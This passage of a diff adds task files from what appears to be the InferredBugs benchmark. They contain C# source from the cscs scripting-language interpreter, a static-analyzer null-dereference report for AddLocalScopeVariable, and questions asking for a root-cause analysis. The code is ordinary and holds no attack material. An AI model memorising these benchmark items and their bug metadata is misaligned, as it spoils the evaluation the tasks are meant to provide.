+               (script.ClassInstance.PropertyExists(name) || script.ClassInstance.FunctionExists(name)))
+            {
+                name = script.ClassInstance.InstanceName + "." + name;
+            }
+            //int ind = name.LastIndexOf('.');
+            int ind = name.IndexOf('.');
+            if (ind <= 0)
+            {
+                return null;
+            }
+            string baseName = name.Substring(0, ind);
+            if (s_namespaces.ContainsKey(baseName))
+            {
+                int ind2 = name.IndexOf('.', ind + 1);
+                if (ind2 > 0)
+                {
+                    ind = ind2;
+                    baseName = name.Substring(0, ind);
+                }
+            }
+
+            string prop = name.Substring(ind + 1);
+
+            ParserFunction pf = ParserFunction.GetFromNamespace(prop, baseName, script);
+            if (pf != null)
+            {
+                return pf;
+            }
+
+            pf = ParserFunction.GetVariable(baseName, script, true);
+            if (pf == null || !(pf is GetVarFunction))
+            {
+                pf = ParserFunction.GetFunction(baseName, script);
+            }
+
+            GetVarFunction varFunc = pf as GetVarFunction;
+            if (varFunc == null)
+            {
+                return null;
+            }
+
+            varFunc.PropertyName = prop;
+            return varFunc;
+        }
+
+        static ParserFunction GetRegisteredAction(string name, ref string action)
+        {
+            ActionFunction actionFunction = GetAction(action);
+
+            // If passed action exists and is registered we are done.
+            if (actionFunction == null)
+            {
+                return null;
+            }
+
+            ActionFunction theAction = actionFunction.NewInstance() as ActionFunction;
+            theAction.Name = name;
+            theAction.Action = action;
+
+            action = null;
+            return theAction;
+        }
+
+        public static bool TryAddToNamespace(string name, string nameSpace, Variable varValue)
+        {
+            StackLevel level;
+            if (string.IsNullOrWhiteSpace(nameSpace) ||
+               !s_namespaces.TryGetValue(nameSpace, out level))
+            {
+                return false;
+            }
+
+            var vars = level.Variables;
+            vars[name] = new GetVarFunction(varValue);
+
+            return true;
+        }
+
+        public static ParserFunction GetFromNamespace(string name, ParsingScript script)
+        {
+            ParserFunction result = GetFromNamespace(name, s_namespace, script);
+            return result;
+        }
+
+        public static ParserFunction GetFromNamespace(string name, string nameSpace, ParsingScript script)
+        {
+            if (string.IsNullOrWhiteSpace(nameSpace))
+            {
+                return null;
+            }
+
+            int ind = nameSpace.IndexOf('.');
+            string prop = "";
+            if (ind >= 0)
+            {
+                prop      = name; 
+                name      = nameSpace.Substring(ind + 1);
+                nameSpace = nameSpace.Substring(0, ind);
+            }
+
+            StackLevel level;
+            if  (!s_namespaces.TryGetValue(nameSpace, out level))
+            {
+                return null;
+            }
+
+            if (!name.StartsWith(nameSpace, StringComparison.OrdinalIgnoreCase))
+            {
+                name = nameSpace + "." + name;
+            }
+
+            var vars = level.Variables;
+            ParserFunction impl;
+            if (!vars.TryGetValue(name, out impl) &&
+                !s_variables.TryGetValue(name, out impl) &&
+                !s_functions.TryGetValue(name, out impl)
+                )
+            {
+                return null;
+            }
+
+            if (!string.IsNullOrWhiteSpace(prop) &&  impl is GetVarFunction)
+            {
+                ((GetVarFunction) impl).PropertyName = prop;
+            }
+            return impl;
+        }
+
+        public static ParserFunction GetVariable(string name, ParsingScript script, bool force = false)
+        {
+            if (!force && script.TryPrev() == Constants.START_ARG)
+            {
+                return GetFunction(name, script);
+            }
+            name = Constants.ConvertName(name);
+            ParserFunction impl;
+            // First search among local variables.
+            if (s_locals.Count > StackLevelDelta)
+            {
+                Dictionary<string, ParserFunction> local = s_locals.Peek().Variables;
+                if (local.TryGetValue(name, out impl))
+                {
+                    return impl;
+                }
+            }
+
+            string scopeName = script == null || script.Filename == null ? "" : script.Filename;
+            impl = GetLocalScopeVariable(name, scopeName);
+            if (impl != null)
+            {
+                return impl;
+            }
+
+            if (s_variables.TryGetValue(name, out impl))
+            {
+                return impl.NewInstance();
+            }
+
+            return GetFunction(name, script);
+        }
+
+        public static ParserFunction GetFunction(string name, ParsingScript script)
+        {
+            name = Constants.ConvertName(name);
+            ParserFunction impl;
+
+            if (s_functions.TryGetValue(name, out impl))
+            {
+                // Global function exists and is registered (e.g. pi, exp, or a variable)
+                return impl.NewInstance();
+            }
+
+            return GetFromNamespace(name, script);
+        }
+
+        public static void UpdateFunction(Variable variable)
+        {
+            UpdateFunction(variable.ParsingToken, new GetVarFunction(variable));
+        }
+        public static void UpdateFunction(string name, ParserFunction function)
+        {
+            name = Constants.ConvertName(name);
+            // First search among local variables.
+            if (s_locals.Count > StackLevelDelta)
+            {
+                Dictionary<string, ParserFunction> local = s_locals.Peek().Variables;
+
+                if (local.ContainsKey(name))
+                {
+                    // Local function exists (a local variable)
+                    local[name] = function;
+                    return;
+                }
+            }
+            // If it's not a local variable, update global.
+            s_variables[name] = function;
+        }
+        public static ActionFunction GetAction(string action)
+        {
+            if (string.IsNullOrWhiteSpace(action))
+            {
+                return null;
+            }
+
+            ActionFunction impl;
+            if (s_actions.TryGetValue(action, out impl))
+            {
+                // Action exists and is registered (e.g. =, +=, --, etc.)
+                return impl;
+            }
+
+            return null;
+        }
+
+        public static bool FunctionExists(string item)
+        {
+            // If it is not defined locally, then check globally:
+            return LocalNameExists(item) || GlobalNameExists(item);
+        }
+
+        public static void AddGlobalOrLocalVariable(string name, GetVarFunction function)
+        {
+            name          = Constants.ConvertName(name);
+
+            Dictionary<string, ParserFunction> lastLevel = GetLastLevel();
+            if (lastLevel != null && s_locals.Peek().IsNamespace && !string.IsNullOrWhiteSpace(s_namespace))
+            {
+                name = s_namespacePrefix + name;
+            }
+
+            function.Name = Constants.GetRealName(name);
+            if (s_locals.Count > StackLevelDelta && (LocalNameExists(name) || !GlobalNameExists(name)))
+            {
+                AddLocalVariable(function);
+            }
+            else
+            {
+                AddGlobal(name, function, false /* not native */);
+            }
+        }
+
+        static string CreateVariableEntry(Variable var, string name, bool isLocal = false)
+        {
+            try
+            {
+                string value = var.AsString(true, true, 16);
+                string localGlobal = isLocal ? "0" : "1";
+                string varData = name + ":" + localGlobal + ":" +
+                                 Constants.TypeToString(var.Type).ToLower() + ":" + value;
+                return varData.Trim();
+            }
+            catch(Exception exc)
+            {
+                // TODO: Clean up not used objects.
+                bool removed = isLocal ? PopLocalVariable(name) : RemoveGlobal(name);
+                Console.WriteLine("Object {0} is probably dead ({1}): {2}. Removing it.", name, removed, exc);
+                return null;
+            }
+        }
+
+        static void GetVariables(Dictionary<string, ParserFunction> variablesScope,
+                                 StringBuilder sb, bool isLocal = false)
+        {
+            var all = variablesScope.Values.ToList();
+            for (int i = 0; i < all.Count; i++)
+            {
+                var variable = all[i];
+                GetVarFunction gvf = variable as GetVarFunction;
+                if (gvf == null || string.IsNullOrWhiteSpace(variable.Name))
+                {
+                    continue;
+                }
+
+                string varData = CreateVariableEntry(gvf.Value, variable.Name, isLocal);
+                if (!string.IsNullOrWhiteSpace(varData))
+                {
+                    sb.AppendLine(varData);
+                    if (gvf.Value.Type == Variable.VarType.OBJECT)
+                    {
+                        var props = gvf.Value.GetProperties();
+                        foreach (Variable var in props)
+                        {
+                            var val = gvf.Value.GetProperty(var.AsString());
+                            varData = CreateVariableEntry(val, variable.Name + "." + var.AsString(), isLocal);
+                            if (!string.IsNullOrWhiteSpace(varData))
+                            {
+                                sb.AppendLine(varData);
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        public static string GetVariables(ParsingScript script)
+        {
+            StringBuilder sb = new StringBuilder();
+            // Locals, if any:
+            if (s_locals.Count > 0)
+            {
+                Dictionary<string, ParserFunction> locals = s_locals.Peek().Variables;
+                GetVariables(locals, sb, true);
+            }
+
+            // Variables in the local file scope:
+            if (script != null && script.Filename != null)
+            {
+                Dictionary<string, ParserFunction> localScope;
+                string scopeName = Path.GetFileName(script.Filename);
+                if (s_localScope.TryGetValue(scopeName, out localScope))
+                {
+                    GetVariables(localScope, sb, true);
+                }
+            }
+
+            // Globals:
+            GetVariables(s_variables, sb, false);
+
+            return sb.ToString().Trim();
+        }
+
+        static Dictionary<string, ParserFunction> GetLastLevel()
+        {
+            if (s_locals.Count <= StackLevelDelta)
+            {
+                return null;
+            }
+            var result = s_locals.Peek().Variables;
+            return result;
+        }
+
+        static bool LocalNameExists(string name)
+        {
+            Dictionary<string, ParserFunction> lastLevel = GetLastLevel();
+            if (lastLevel == null)
+            {
+                return false;
+            }
+            name = Constants.ConvertName(name);
+            return lastLevel.ContainsKey(name);
+        }
+
+        static bool GlobalNameExists(string name)
+        {
+            name = Constants.ConvertName(name);
+            return s_variables.ContainsKey(name) || s_functions.ContainsKey(name);
+        }
+
+        public static Variable RegisterEnum(string varName, string enumName)
+        {
+            Variable enumVar = EnumFunction.UseExistingEnum(enumName);
+            if (enumVar == Variable.EmptyInstance)
+            {
+                return enumVar;
+            }
+
+            RegisterFunction(varName, new GetVarFunction(enumVar));
+            return enumVar;
+        }
+
+        public static void RegisterFunction(string name, ParserFunction function,
+                                            bool isNative = true)
+        {
+            name = Constants.ConvertName(name);
+            function.Name = Constants.GetRealName(name);
+
+            if (!string.IsNullOrWhiteSpace(s_namespace))
+            {
+                StackLevel level;
+                if (s_namespaces.TryGetValue(s_namespace, out level) &&
+                   function is CustomFunction)
+                {
+                    ((CustomFunction)function).NamespaceData = level;
+                    name = s_namespacePrefix + name;
+                }
+            }
+
+            s_functions[name] = function;
+            function.isNative = isNative;
+        }
+
+        public static bool RemoveGlobal(string name)
+        {
+            name = Constants.ConvertName(name);
+            return s_variables.Remove(name);
+        }
+
+        static void NormalizeValue(ParserFunction function)
+        {
+            GetVarFunction gvf = function as GetVarFunction;
+            if (gvf != null)
+            {
+                gvf.Value.CurrentAssign = "";
+            }
+        }
+
+        public static void AddGlobal(string name, ParserFunction function,
+                                     bool isNative = true)
+        {
+            name = Constants.ConvertName(name);
+            NormalizeValue(function);
+            function.isNative = isNative;
+            s_variables[name] = function;
+
+            function.Name = Constants.GetRealName(name);
+#if UNITY_EDITOR == false && UNITY_STANDALONE == false && __ANDROID__ == false && __IOS__ == false
+            if (!isNative)
+            {
+                Translation.AddTempKeyword(name);
+            }
+#endif
+        }
+
+        public static void AddLocalScopeVariable(string name, string scopeName, ParserFunction variable)
+        {
+            name = Constants.ConvertName(name);
+            variable.isNative = false;
+            variable.Name = Constants.GetRealName(name);
+
+            if (scopeName == null)
+            {
+                scopeName = "";
+            }
+
+            Dictionary<string, ParserFunction> localScope;
+            if (!s_localScope.TryGetValue(scopeName, out localScope))
+            {
+                localScope = new Dictionary<string, ParserFunction>();
+            }
+            localScope[name] = variable;
+            s_localScope[scopeName] = localScope;
+        }
+
+        static ParserFunction GetLocalScopeVariable(string name, string scopeName)
+        {
+            scopeName = Path.GetFileName(scopeName);
+            Dictionary<string, ParserFunction> localScope;
+            if (!s_localScope.TryGetValue(scopeName, out localScope))
+            {
+                return null;
+            }
+
+            name = Constants.ConvertName(name);
+            ParserFunction function = null;
+            localScope.TryGetValue(name, out function);
+            return function;
+        }
+
+        public static void AddAction(string name, ActionFunction action)
+        {
+            s_actions[name] = action;
+        }
+
+        public static void AddLocalVariables(StackLevel locals)
+        {
+            s_locals.Push(locals);
+        }
+
+        public static void AddNamespace(string namespaceName)
+        {
+            namespaceName = Constants.ConvertName(namespaceName);
+            if (!string.IsNullOrWhiteSpace(s_namespace))
+            {
+                throw new ArgumentException("Already inside of namespace [" + s_namespace + "].");
+            }
+
+            StackLevel level;
+            if (!s_namespaces.TryGetValue(namespaceName, out level))
+            {
+                level = new StackLevel(namespaceName, true); ;
+            }
+
+            s_locals.Push(level);
+            s_namespaces[namespaceName] = level;
+
+            s_namespace = namespaceName;
+            s_namespacePrefix = namespaceName + ".";
+        }
+
+        public static void PopNamespace()
+        {
+            s_namespace = s_namespacePrefix = "";
+            while (s_locals.Count > 0)
+            {
+                var level = s_locals.Pop();
+                if (level.IsNamespace)
+                {
+                    return;
+                }
+            }
+        }
+
+        public static string AdjustWithNamespace(string name)
+        {
+            name = Constants.ConvertName(name);
+            return s_namespacePrefix + name;
+        }
+
+        public static void AddStackLevel(string scopeName)
+        {
+            s_locals.Push(new StackLevel(scopeName));
+        }
+
+        public static void AddLocalVariable(ParserFunction local)
+        {
+            NormalizeValue(local);
+            local.m_isGlobal = false;
+            StackLevel locals = null;
+            if (s_locals.Count == 0)
+            {
+                locals = new StackLevel();
+                s_locals.Push(locals);
+            }
+            else
+            {
+                locals = s_locals.Peek();
+            }
+
+            var name = Constants.ConvertName(local.Name);
+            local.Name = Constants.GetRealName(name);
+            locals.Variables[name] = local;
+#if UNITY_EDITOR == false && UNITY_STANDALONE == false && __ANDROID__ == false && __IOS__ == false
+            Translation.AddTempKeyword(name);
+#endif
+        }
+
+        public static void PopLocalVariables()
+        {
+            if (s_locals.Count > 0)
+            {
+                s_locals.Pop();
+            }
+        }
+
+        public static int GetCurrentStackLevel()
+        {
+            return s_locals.Count;
+        }
+
+        public static void InvalidateStacksAfterLevel(int level)
+        {
+            while (level >= 0 && s_locals.Count > level)
+            {
+                s_locals.Pop();
+            }
+        }
+
+        public static bool PopLocalVariable(string name)
+        {
+            if (s_locals.Count == 0)
+            {
+                return false;
+            }
+            Dictionary<string, ParserFunction> locals = s_locals.Peek().Variables;
+            name = Constants.ConvertName(name);
+            return locals.Remove(name);
+        }
+
+        public Variable GetValue(ParsingScript script)
+        {
+            return m_impl.Evaluate(script);
+        }
+
+        public async Task<Variable> GetValueAsync(ParsingScript script)
+        {
+            return await m_impl.EvaluateAsync(script);
+        }
+
+        protected virtual Variable Evaluate(ParsingScript script)
+        {
+            // The real implementation will be in the derived classes.
+            return new Variable();
+        }
+
+        protected virtual Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            // If not overriden, the non-sync version will be called.
+            return Task.FromResult( Evaluate(script) );
+        }
+
+        // Derived classes may want to return a new instance in order to
+        // not to use same object in calculations.
+        public virtual ParserFunction NewInstance()
+        {
+            return this;
+        }
+
+        public static void CleanUp()
+        {
+            s_functions.Clear();
+            s_actions.Clear();
+            CleanUpVariables();
+        }
+
+        public static void CleanUpVariables()
+        {
+            s_variables.Clear();
+            s_locals.Clear();
+            s_localScope.Clear();
+            s_namespaces.Clear();
+            s_namespace = s_namespacePrefix = "";
+        }
+
+        protected string m_name;
+        public string Name
+        {
+            get { return m_name; }
+            set { m_name = value; }
+        }
+
+        protected bool m_isGlobal = true;
+        public bool isGlobal { get { return m_isGlobal; } set { m_isGlobal = value; } }
+
+        protected bool m_isNative = true;
+        public bool isNative { get { return m_isNative; } set { m_isNative = value; } }
+
+        ParserFunction m_impl;
+
+        // Global functions:
+        static Dictionary<string, ParserFunction> s_functions = new Dictionary<string, ParserFunction>();
+
+        // Global variables:
+        static Dictionary<string, ParserFunction> s_variables = new Dictionary<string, ParserFunction>();
+
+        // Global actions to functions map:
+        static Dictionary<string, ActionFunction> s_actions = new Dictionary<string, ActionFunction>();
+
+        // Local scope variables:
+        static Dictionary<string, Dictionary<string, ParserFunction>> s_localScope =
+           new Dictionary<string, Dictionary<string, ParserFunction>>();
+
+        public static bool IsNumericFunction(string paramName, ParsingScript script = null)
+        {
+            ParserFunction function = ParserFunction.GetFunction(paramName, script);
+            return function is INumericFunction;
+        }
+
+        public class StackLevel
+        {
+            public StackLevel(string name = null, bool isNamespace = false)
+            {
+                Name = name;
+                IsNamespace = isNamespace;
+                Variables = new Dictionary<string, ParserFunction>();
+            }
+            public string Name { get; set; }
+            public bool IsNamespace { get; set; }
+
+            public Dictionary<string, ParserFunction> Variables { get; set; }
+        }
+
+        // Local variables:
+        // Stack of the functions being executed:
+        static Stack<StackLevel> s_locals = new Stack<StackLevel>();
+        public static Stack<StackLevel> ExecutionStack { get { return s_locals; } }
+
+        static Dictionary<string, StackLevel> s_namespaces = new Dictionary<string, StackLevel>();
+        static string s_namespace;
+        static string s_namespacePrefix;
+
+        public static string GetCurrentNamespace { get { return s_namespace; } }
+
+        static StringOrNumberFunction s_strOrNumFunction =
+          new StringOrNumberFunction();
+        static IdentityFunction s_idFunction =
+          new IdentityFunction();
+
+        public static int StackLevelDelta { get; set; }
+    }
+
+    public abstract class ActionFunction : ParserFunction
+    {
+        protected string m_action;
+        public string Action { set { m_action = value; } }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `name` last assigned on line 537 could be null and is dereferenced by call to `GetRealName(...)` at line 539, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ParserFunction.AddLocalScopeVariable(String,String,ParserFunction)
+
+### File:
+cscs/ParserFunction.cs
+
+### Key:
+ParserFunction.cs|AddLocalScopeVariable|NULL_DEREFERENCE
+
+### Node Key:
+840c96a3a061419c9a8b9b3c75aa5d7b
+
+### Hash:
+30859e7fdbdc3c77a753d907a81e5c50
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1883/instruction.md b/inferredbugs-1883/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7c81868b845f3790845d9f512e22159dbb81878f
--- /dev/null
+++ b/inferredbugs-1883/instruction.md
@@ -0,0 +1,734 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** cscs
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+
+namespace SplitAndMerge
+{
+	class BreakStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return new Variable(Variable.VarType.BREAK);
+    }
+  }
+  class ContinueStatement : ParserFunction
+	{
+		protected override Variable Evaluate(ParsingScript script)
+		{
+      return new Variable(Variable.VarType.CONTINUE);
+		}
+	}
+
+  class ReturnStatement : ParserFunction
+  {
+    
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      script.MoveForwardIf(Constants.SPACE);
+
+      Variable result = Utils.GetItem(script);
+
+      // If we are in Return, we are done:
+      script.SetDone();
+      result.IsReturn = true;
+
+      return result;
+    }
+  }
+
+  class TryBlock : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return Interpreter.Instance.ProcessTry(script);
+    }
+  }
+
+  class ExitFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Environment.Exit(0);
+      return Variable.EmptyInstance;
+    }
+  }
+
+  class ThrowFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Extract what to throw.
+      string rest = script.Rest;
+      Variable arg = Utils.GetItem(script);
+
+      // 2. Convert it to a string.
+      string result = arg.AsString();
+
+      // 3. Throw it!
+      throw new ArgumentException(result);
+    }
+  }
+
+  class ShowFunction : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      string funcName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+      ParserFunction function = ParserFunction.GetFunction(funcName);
+      CustomFunction custFunc = function as CustomFunction;
+      Utils.CheckNotNull(funcName, custFunc);
+
+      string body = Utils.BeautifyScript(custFunc.Body, custFunc.Header);
+      Translation.PrintScript(body);
+
+      return new Variable(body);
+    }
+  }
+
+  class TranslateFunction : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      string language = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+      string funcName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+
+      ParserFunction function = ParserFunction.GetFunction(funcName);
+      CustomFunction custFunc = function as CustomFunction;
+      Utils.CheckNotNull(funcName, custFunc);
+
+      string body = Utils.BeautifyScript(custFunc.Body, custFunc.Header);
+      string translated = Translation.TranslateScript(body, language);
+      Translation.PrintScript(translated);
+
+      return new Variable(translated);
+    }
+  }
+
+  class FunctionCreator : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      string funcName = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+      //Interpreter.Instance.AppendOutput("Registering function [" + funcName + "] ...");
+
+      string[] args = Utils.GetFunctionSignature(script);
+      if (args.Length == 1 && string.IsNullOrWhiteSpace(args[0])) {
+        args = new string[0];
+      }
+
+      script.MoveForwardIf(Constants.START_GROUP, Constants.SPACE);
+      int parentOffset = script.Pointer;
+
+      string body = Utils.GetBodyBetween(script, Constants.START_GROUP, Constants.END_GROUP);
+
+      CustomFunction customFunc = new CustomFunction(funcName, body, args);
+      customFunc.ParentScript = script;
+      customFunc.ParentOffset = parentOffset;
+
+      ParserFunction.RegisterFunction(funcName, customFunc, false /* not native */);
+
+      return new Variable(funcName);
+    }
+  }
+
+  class CustomFunction : ParserFunction
+  {
+    internal CustomFunction(string funcName,
+                            string body, string[] args)
+    {
+      m_name = funcName;
+      m_body = body;
+      m_args = args;
+    }
+
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      bool isList;
+      string rest0 = script.Rest;
+
+      List<Variable> functionArgs = Utils.GetArgs(script,
+          Constants.START_ARG, Constants.END_ARG, out isList);
+
+      string rest1 = script.Rest;
+      //script.MoveForwardIf(Constants.END_ARG);
+      script.MoveBackIf(Constants.START_GROUP);
+
+      if (functionArgs.Count != m_args.Length) {   
+        throw new ArgumentException("Function [" + m_name + "] arguments mismatch: " +
+          m_args.Length + " declared, " + functionArgs.Count + " supplied");
+      }
+
+      // 1. Add passed arguments as local variables to the Parser.
+      StackLevel stackLevel = new StackLevel(m_name);
+      for (int i = 0; i < m_args.Length; i++) {
+        stackLevel.Variables[m_args[i]] = new GetVarFunction(functionArgs[i]);
+      }
+
+      ParserFunction.AddLocalVariables(stackLevel);
+
+      // 2. Execute the body of the function.
+      Variable result = null;
+      ParsingScript tempScript = new ParsingScript(m_body);
+      tempScript.ScriptOffset = m_parentOffset;
+      if (m_parentScript != null) {
+        tempScript.Char2Line      = m_parentScript.Char2Line;
+        tempScript.Filename       = m_parentScript.Filename;
+        tempScript.OriginalScript = m_parentScript.OriginalScript;
+      }
+
+      while (tempScript.Pointer < m_body.Length - 1 && 
+            (result == null || !result.IsReturn)) {
+        string rest = tempScript.Rest;
+        result = tempScript.ExecuteTo();
+        tempScript.GoToNextStatement();
+      }
+
+      ParserFunction.PopLocalVariables();
+      //script.MoveForwardIf(Constants.END_ARG);
+      //script.MoveForwardIf(Constants.END_STATEMENT);
+
+      result.IsReturn = false;
+      return result;
+    }
+
+    public ParsingScript ParentScript { set { m_parentScript = value; } }
+    public int           ParentOffset { set { m_parentOffset = value; } }
+    public string        Body         { get { return m_body; } }
+    public string        Header       { get {
+        return Constants.FUNCTION + " " + Name + " " +
+               Constants.START_ARG + string.Join (", ", m_args) +
+               Constants.END_ARG + " " + Constants.START_GROUP;
+         } }
+
+    private string        m_body;
+    private string[]      m_args;
+    private ParsingScript m_parentScript = null;
+    private int           m_parentOffset = 0;
+  }
+
+ 	class StringOrNumberFunction : ParserFunction
+	{
+		protected override Variable Evaluate(ParsingScript script)
+		{
+			// First check if the passed expression is a string between quotes.
+			if (Item.Length > 1 &&
+				Item[0] == Constants.QUOTE &&
+				Item[Item.Length - 1]  == Constants.QUOTE) {
+			  return new Variable(Item.Substring(1, Item.Length - 2));
+			}
+
+			// Otherwise this should be a number.
+			double num;
+			if (!Double.TryParse(Item, out num)) {
+        Utils.ThrowException(script, "parseToken", Item, "parseTokenExtra");
+			}
+			return new Variable(num);
+		}
+    
+		public string Item { private get; set; }
+	}
+
+  class AddFunction : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+      Utils.CheckNotEnd(script, Constants.CONTAINS);
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+
+      // 3. Get the variable to add.
+      Variable item = Utils.GetItem(script);
+
+      // 4. Add it to the tuple.
+      currentValue.AddVariable(item);
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                              new GetVarFunction (currentValue));
+
+      return currentValue;
+    }
+  }
+
+  class ContainsFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.NEXT_OR_END_ARRAY);
+      Utils.CheckNotEnd(script, Constants.CONTAINS);
+
+      // 2. Get the current value of the variable.
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref varName);
+
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+
+      // 2b. Special dealings with arrays:
+      Variable query = arrayIndices.Count > 0 ?
+                       Utils.ExtractArrayElement(currentValue, arrayIndices) :
+                       currentValue;
+
+      // 3. Get the value to be looked for.
+      Variable searchValue = Utils.GetItem(script);
+      Utils.CheckNotEnd(script, Constants.CONTAINS);
+
+      // 4. Check if the value to search for exists.
+      bool exists = query.Exists(searchValue, true /* notEmpty */);
+
+      script.MoveBackIf(Constants.START_GROUP);
+      return new Variable(exists);
+    }
+  }
+
+	class IdentityFunction : ParserFunction
+  {
+		protected override Variable Evaluate(ParsingScript script)
+		{
+      return script.ExecuteTo(Constants.END_ARG);
+		}
+	}
+
+  class IfStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Variable result = Interpreter.Instance.ProcessIf(script);
+      return result;
+    }
+  }
+
+  class ForStatement : ParserFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      return Interpreter.Instance.ProcessFor(script);
+    }
+  }
+
+  class WhileStatement : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      return Interpreter.Instance.ProcessWhile(script);
+    }
+  }
+
+  class IncludeFile : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      string filename = Utils.GetItem(script).AsString();
+      string[] lines = Utils.GetFileLines(filename);
+
+      string includeFile = string.Join(Environment.NewLine, lines);
+      Dictionary<int, int> char2Line;
+      string includeScript = Utils.ConvertToScript(includeFile, out char2Line);
+      ParsingScript tempScript = new ParsingScript(includeScript, 0, char2Line);
+      tempScript.Filename = filename;
+      tempScript.OriginalScript = string.Join(Constants.END_LINE.ToString(), lines);
+
+      while (tempScript.Pointer < includeScript.Length) {
+        tempScript.ExecuteTo();
+        tempScript.GoToNextStatement();
+      }
+      return Variable.EmptyInstance;
+    }
+  }
+
+  // Get a value of a variable or of an array element
+  class GetVarFunction : ParserFunction
+  {
+    internal GetVarFunction(Variable value)
+    {
+      m_value = value;
+    }
+
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // First check if this element is part of an array:
+      if (script.TryPrev() == Constants.START_ARRAY)
+      {
+        // There is an index given - it must be for an element of the tuple.
+        if (m_value.Tuple == null || m_value.Tuple.Count == 0) {
+          throw new ArgumentException("No tuple exists for the index");
+        }
+
+        if (m_arrayIndices == null) {
+          string startName = script.Substr(script.Pointer - 1);
+          m_arrayIndices = Utils.GetArrayIndices(ref startName, ref m_delta);
+        }
+
+        script.Forward(m_delta);
+
+        Variable result = Utils.ExtractArrayElement(m_value, m_arrayIndices);
+        return result;
+      }
+
+      // Otherwise just return the stored value.
+      return m_value;
+    }
+
+    public int Delta {
+      set { m_delta = value; }
+    }
+    public List<Variable> Indices {
+      set { m_arrayIndices = value; }
+    }
+
+    private Variable m_value;
+    private int m_delta = 0;
+    private List<Variable> m_arrayIndices = null;
+  }
+
+  class IncrementDecrementFunction : ActionFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      bool prefix = string.IsNullOrWhiteSpace(m_name);
+      if (prefix) {// If it is a prefix we do not have the variable name yet.
+        m_name = Utils.GetToken(script, Constants.TOKEN_SEPARATION);
+      }
+
+      // Value to be added to the variable:
+      int valueDelta = m_action == Constants.INCREMENT ? 1 : -1;
+      int returnDelta = prefix ? valueDelta : 0;
+
+      // Check if the variable to be set has the form of x[a][b],
+      // meaning that this is an array element.
+      double newValue = 0;
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref m_name);
+
+      ParserFunction func = ParserFunction.GetFunction(m_name);
+      Utils.CheckNotNull(m_name, func);
+
+      Variable currentValue = func.GetValue(script);
+
+      if (arrayIndices.Count > 0 || script.TryCurrent () == Constants.START_ARRAY) {
+        if (prefix) {
+          string tmpName = m_name + script.Rest;
+          int delta = 0;
+          arrayIndices = Utils.GetArrayIndices(ref tmpName, ref delta);
+          script.Forward(Math.Max(0, delta - tmpName.Length));
+        }
+
+        Variable element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+
+        newValue = element.Value + returnDelta;
+        element.Value += valueDelta;
+      } else { // A normal variable.
+        newValue = currentValue.Value + returnDelta;
+        currentValue.Value += valueDelta;
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(m_name,
+                                              new GetVarFunction(currentValue));
+      return new Variable(newValue);
+    }
+
+    override public ParserFunction NewInstance()
+    {
+      return new IncrementDecrementFunction();
+    }
+  }
+
+  class OperatorAssignFunction : ActionFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // Value to be added to the variable:
+      Variable right  = Utils.GetItem(script);
+
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref m_name);
+
+      ParserFunction func = ParserFunction.GetFunction(m_name);
+      Utils.CheckNotNull(m_name, func);
+
+      Variable currentValue = func.GetValue(script);
+      Variable left = currentValue;
